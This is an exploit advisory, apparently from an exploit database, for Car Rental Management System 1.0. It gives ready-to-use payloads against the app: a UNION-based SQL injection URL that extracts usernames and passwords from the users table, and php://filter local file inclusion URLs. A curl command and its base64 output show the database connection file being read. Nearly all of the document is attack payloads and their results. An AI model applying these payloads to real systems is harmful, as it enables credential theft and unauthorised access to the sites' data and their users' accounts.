Car Rental Management System 1.0 - SQL Injection / Local File include

# Exploit Title: Car Rental Management System 1.0 - SQL Injection / Local File include
# Date: 22-10-2020
# Exploit Author: Mosaaed 
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: parrot + Apache/2.4.46 (Debian)

SQL Injection
#Vulnerable Page: http://localhost/carRental/index.php?page=view_car&id=4

#POC 1: 
http://localhost/carRental/index.php?page=view_car&id=-4+union+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10+from+users--

LFI
#Vulnerable Page1: http://localhost/carRental/index.php?page=about
#Vulnerable Page2:http://localhost/carRental/admin/index.php?page=movement

#POC 1:

http://localhost/carRental/index.php?page=php://filter/convert.base64-encode/resource=home

#POC 2:http://localhost/carRental/admin/index.php?page=php://filter/convert.base64-encode/resource=db_connect

note POC 2 reading database information

#example : 
curl -s -i POST http://localhost/carRental/admin/index.php?page=php://filter/convert.base64-encode/resource=db_connect | grep view-panel -A 1

#result

<main id="view-panel" >
        	PD9waHAgDQoNCiRjb25uPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290JywncGFzc3dvcmQnLCdjYXJfcmVudGFsX2RiJylvciBkaWUoIkNvdWxkIG5vdCBjb25uZWN0IHRvIG15c3FsIi5teXNxbGlfZXJyb3IoJGNvbikpOw0K

#proof of concept picture

https://ibb.co/8Dd7d9G